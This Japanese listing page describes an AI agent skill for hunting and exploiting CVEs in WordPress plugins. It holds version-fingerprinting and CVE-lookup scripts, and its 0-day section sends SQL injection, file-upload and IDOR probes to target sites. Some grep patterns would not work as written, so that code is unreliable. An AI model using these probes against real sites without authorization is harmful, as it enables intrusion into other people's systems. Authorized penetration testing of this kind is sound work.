mcpField
W
wp-plugin-cve-hunt

wp-plugin-cve-hunt

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

wp-plugin-cve-hunt について

wp-plugin-cve-huntは、既知のWordPress対象でプラグインのCVEを調査するセキュリティスキルです。複数の情報源からのバージョン抽出、脆弱性データベースの照合、手動検証の計画、誤検知の確認を組み合わせます。

主な機能

  1. 01複数の情報源からバージョン抽出
  2. 02WPScan、Patchstack、NVDとの照合
  3. 03脆弱なバージョン範囲との比較
  4. 04候補の検証計画
  5. 05誤検知の確認

活用シーン

  1. 01既知のWordPress対象でプラグインCVEを調査
  2. 02テスト前に脆弱性の疑いを検証
  3. 03CVEデータベースにないプラグインを調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill wp-plugin-cve-hunt

インストール後、Claude Code で/wp-plugin-cve-huntを入力して読み込まれたか確認します。

詳細

WP-PLUGIN-CVE-HUNT — WordPress プラグインの体系的な CVE 発見と悪用

使用するタイミング

WordPress の検出と偵察を行い、既知のプラグインを使用している WP ターゲットのリストを特定した後に使用します。このスキルでは、単純な readme.txt のバージョン確認にとどまらず、複数のソースからのバージョン抽出、CVE データベースとの照合、バージョン比較、脆弱性評価、PoC の生成を行います。WP ドメインが 10 件以上あり、どのプラグインの CVE が悪用可能かを体系的に特定する必要がある場合に最適です。

wp-plugin-automation との違い:このスキルは、WPScan API の統合、Patchstack データベースへのクエリ、NVD との照合、CVE の詳細調査、PoC の手動検証など、人間がガイドする CVE 調査プロセスに重点を置いています。wp-plugin-automation は、数百のドメインを対象とする一括スキャンパイプラインを担当します。

クイックリファレンス

# Quick CVE scan for a single target
TARGET="example.com"

# 1. List plugins via readme.txt
for p in elementskit revslider elementor woocommerce gravityforms jetpack wp-file-manager wordpress-seo give contact-form-7; do
  v=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$p/readme.txt" 2>/dev/null | grep -i "stable tag\|version" | head -1)
  [ -n "$v" ] && echo "PLUGIN: $p -> $v"
done

# 2. WPScan API query (requires API token)
wpscan --url "https://$TARGET" --api-token "$WPSCAN_TOKEN" --enumerate vp

# 3. Check specific CVE
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2023-6853" | python3 -c "
import sys, json; d=json.load(sys.stdin)
vuln=d['vulnerabilities'][0]['cve']
print(f\"{vuln['id']}: {vuln['descriptions'][0]['value']}\")
print(f\"CVSS: {vuln['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']}\")
"

手順

フェーズ 1 — プラグインの検出と複数ソースからのバージョン抽出

readme.txt だけに頼らないでください。プラグインのバージョン情報は、複数の場所に隠されている場合があります。

#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2"        # e.g., elementskit
PLUGIN_DIR="$3"    # e.g., elementskit-lite (can differ from slug)

# Source 1: readme.txt (most common)
v1=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
  grep -i "stable tag\|version" | head -1 | grep -Eo '[\d.]+')
echo "Source 1 (readme.txt): $v1"

# Source 2: Main plugin PHP header
v2=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
  grep -Eo 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"

# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" 2>/dev/null | \
  grep -Eo "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -Eo '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"

# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/" 2>/dev/null | \
  python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '$PLUGIN' in n and '/' in n]" 2>/dev/null)
echo "Source 4 (REST namespace): $v4"

# Deduplicate to most reliable version
echo "=== BEST VERSION ==="
for src in "$v1" "$v2" "$v3"; do
  if [ -n "$src" ]; then
    echo "$src"
    break
  fi
done
フェーズ 2 — CVE データベースとの照合
#!/bin/bash
# cve-lookup.sh — Query multiple CVE sources for a plugin

# Method 1: WPScan API (requires token)
curl --max-time 30 --connect-timeout 10 -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
  -H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
    print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null

# Method 2: NVD API (no token required)
curl --max-time 30 --connect-timeout 10 -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
    cve = vuln['cve']
    vid = cve['id']
    desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
    try:
        score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
    except:
        score = 'N/A'
    print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null

# Method 3: Patchstack database
curl --max-time 30 --connect-timeout 10 -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
  python3 -c "
import sys, re
content = sys.stdin.read()
cves = re.findall(r'CVE-\d{4}-\d{4,7}', content)
print(f'Patchstack CVEs: {cves}')
" 2>/dev/null
フェーズ 3 — バージョン比較と脆弱性評価
#!/bin/bash
# vuln-assess.sh — Compare installed version against known vulnerable ranges

compare_version() {
  local current="$1" fixed="$2" plugin_name="$3" cve="$4" severity="$5"
  if [ -n "$current" ] && [ -n "$fixed" ]; then
    if [ "$(printf '%s\n' "$fixed" "$current" | sort -V | head -1)" != "$fixed" ] && \
       [ "$current" != "$fixed" ]; then
      echo "[VULN] $plugin_name ($current) < $fixed → $cve ($severity)"
    elif [ "$current" = "$fixed" ]; then
      echo "[OK] $plugin_name ($current) = $fixed (patched for $cve)"
    else
      echo "[OK] $plugin_name ($current) >= $fixed (patched for $cve)"
    fi
  fi
}

# ElementsKit
compare_version "$ELEMENTS_KIT_VER" "2.9.4" "ElementsKit" "CVE-2023-6851/CVE-2023-6853" "CRITICAL"
compare_version "$ELEMENTS_KIT_VER" "2.9.8" "ElementsKit" "CVE-2024-2117" "MEDIUM"

# Slider Revolution
compare_version "$REVSLIDER_VER" "6.6.20" "Revslider" "CVE-2024-2534" "CRITICAL"
compare_version "$REVSLIDER_VER" "6.5.8" "Revslider" "CVE-2022-2944" "HIGH"
compare_version "$REVSLIDER_VER" "6.5.11" "Revslider" "CVE-2022-9821" "MEDIUM"

# WPDM
compare_version "$WPDM_VER" "3.3.00" "WPDM" "CVE-2023-49753" "CRITICAL"
compare_version "$WPDM_VER" "3.2.00" "WPDM" "CVE-2021-25069" "HIGH"

# Gravity Forms
compare_version "$GF_VER" "2.8.2" "GravityForms" "CVE-2024-6115" "HIGH"

# Jetpack
compare_version "$JETPACK_VER" "13.1" "Jetpack" "CVE-2024-1782" "HIGH"

# Contact Form 7
if [ -n "$CF7_VER" ] && [ "$(printf '%s\n' "5.6" "$CF7_VER" | sort -V | head -1)" != "$CF7_VER" ] && \
   [ "$CF7_VER" != "5.6" ]; then
  echo "[VULN] Contact Form 7 ($CF7_VER) < 5.6 — File upload bypass"
fi
フェーズ 4 — 候補の検証計画
cat <<'PLAN'
Before a plugin PoC:
1. Confirm the exact installed version from two signals.
2. Confirm the affected route and authentication prerequisite.
3. Read the vendor advisory and patch diff.
4. Obtain explicit authorization for any upload, write, delay, or execution.
5. Use a synthetic object or inert artifact and define cleanup.
6. Record a negative control on the patched or unauthorized path.
PLAN
フェーズ 5 — 誤検知の排除
# Check 1: Does readme.txt version match actual deployed version?
# Sometimes readme.txt is not updated but plugin PHP is patched
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"

# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"

# Check 3: Is the vulnerable code path actually reachable?
# Some CVEs require specific plugin features to be enabled
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null

# Check 4: Test exploitation in safe mode first — verify endpoint exists before running destructive payload
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20

# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" | grep -Eo 'elementskit.*?ver=[0-9.]+'
フェーズ 6 — 独自の CVE 発見(0-day/未公開)
# When no CVE exists for a plugin, test these common patterns:

# 1. REST API route enumeration (undocumented endpoints)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    for route in d.get('routes', {}):
        print(f'  {route}')
except: pass
"

# 2. AJAX handler testing
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"

# 3. SQLi in plugin shortcode attributes
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"

# 4. File upload in plugin media handlers
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "[email protected]"

# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done

攻撃対象領域のシグナル

  • プラグインの readme.txt に /wp-content/plugins//readme.txt からアクセスできる
  • HTML ソースにプラグインのアセットのバージョンが表示されている(ver= パラメーター)
  • REST API の名前空間にプラグインのバージョンが含まれている
  • WPScan の出力に既知の脆弱性が表示されている
  • ページのソースにプラグインのバージョンを示す管理者向け通知バナーがある

CVE マトリックス(選定済み)

プラグインCVE種類修正バージョン深刻度
ElementsKitCVE-2023-6851, CVE-2023-6853SQLi + ファイルアップロード2.9.4Critical
ElementsKitCVE-2024-2117XSS2.9.8Medium
RevsliderCVE-2024-2534RCE6.6.20Critical
RevsliderCVE-2022-2944SQLi6.5.8High
RevsliderCVE-2022-9821CSRF->XSS6.5.11Medium
WPDMCVE-2023-49753SQLi3.3.00Critical
WPDMCVE-2021-25069未認証ダウンロード3.2.00High
WPDMCVE-2021-34639認証済みファイルアップロード3.2.10High
Gravity FormsCVE-2024-6115PHP オブジェクトインジェクション2.8.2High
Contact Form 7—ファイルアップロードのバイパス5.6High
JetpackCVE-2024-1782SSRF13.1High
WP Super Cache—デバッグログの漏えいAllMedium
GSpeechCVE-2025-10187XSS7.2Medium
WooCommerce複数多様不定不定
Wordfence—ファイアウォールのバイパスN/AInformational

よくある根本原因

  1. プラグインの自動更新が無効 — サイトのカスタマイズが壊れるのを避けるため、管理者が更新を無効にしている
  2. 放置されたプラグイン — 開発者が保守をやめ、修正されないまま CVE が蓄積している
  3. 改ざん版/プレミアムプラグイン — 予算の限られたサイトにバックドア入りの海賊版プラグインがインストールされている
  4. プラグインの肥大化 — 50 個以上のプラグインがインストールされており、CVE を手作業で追跡できない
  5. WPScan の偽陰性 — WPScan のデータベースには最新の CVE が登録されていない場合があります。必ず相互参照してください
  6. 制作会社による管理の放置 — 制作会社がサイトを構築し、引き渡し後にプラグインを更新していない
  7. readme.txt が更新されていない — プラグインには修正が適用されているものの、readme.txt には古いバージョンが記載されたまま(誤検知のリスク)

検証

  1. WPScan の脆弱性データベース — WPScan で CVE を確認できることを確認します:
    wpscan --version 2>/dev/null && echo "PASS: wpscan available" || echo "NOTE: wpscan not installed"
    
  2. CVE のパターン — CVE 形式が認識されることを確認します:
    echo "CVE-2024-12345" | grep -qE "CVE-[0-9]{4}-[0-9]+" && echo "PASS: CVE format recognized" || echo "FAIL"
    

すべてのテストで、WP CVE ハントの準備状況を確認します。


落とし穴

  • バージョンが一致しない CVE — CVE-2024-XXXX が「バージョン < 2.5.0」に影響します。プラグインがインストールされていても、脆弱とは限りません。正確なバージョンを確認してください。
  • 変更履歴に記載された修正済み CVE — 変更履歴に「Fixed: CVE-2024-XXXX」と記載されている場合、インストール済みのバージョンにはすでに修正が含まれている可能性があります。リリース日とバージョンを確認してください。
  • 認証が必要な CVE — 多くの WordPress プラグインの CVE は、管理者アクセスを必要とします。これらは認証後に悪用されるため、デフォルトでは深刻度が低くなります。
  • 古い NVD データ — NVD にはバックログがあります。より新しい CVE データについては、WPScan、Patchstack、Wordfence を確認してください。
  • プラグインの CVE があるが、プラグインは有効化されていない — インストール済みでも無効化されたプラグインは、ウェブリクエスト経由では悪用できません。プラグインが有効か確認してください。

関連スキル

  • hunt-wordpress — WordPress の検出と一般的な偵察のための主要スキル
  • wp-plugin-automation — 数百のドメインを対象とした一括スキャンパイプライン
  • recon-sector — セクター固有の偵察(教会はプラグインの脆弱性率が最も高い)
  • hunt-rce — プラグインの CVE は主要な RCE 経路です
  • hunt-file-upload — プラグインの脆弱性によるファイルアップロードの CVE
  • hunt-sqli — プラグインの SQLi の欠陥による SQL インジェクションの CVE
  • hunt-xss — プラグインのインジェクションの欠陥による XSS の CVE
  • hunt-source-leak — debug.log からプラグインのバージョン情報が判明します

コメント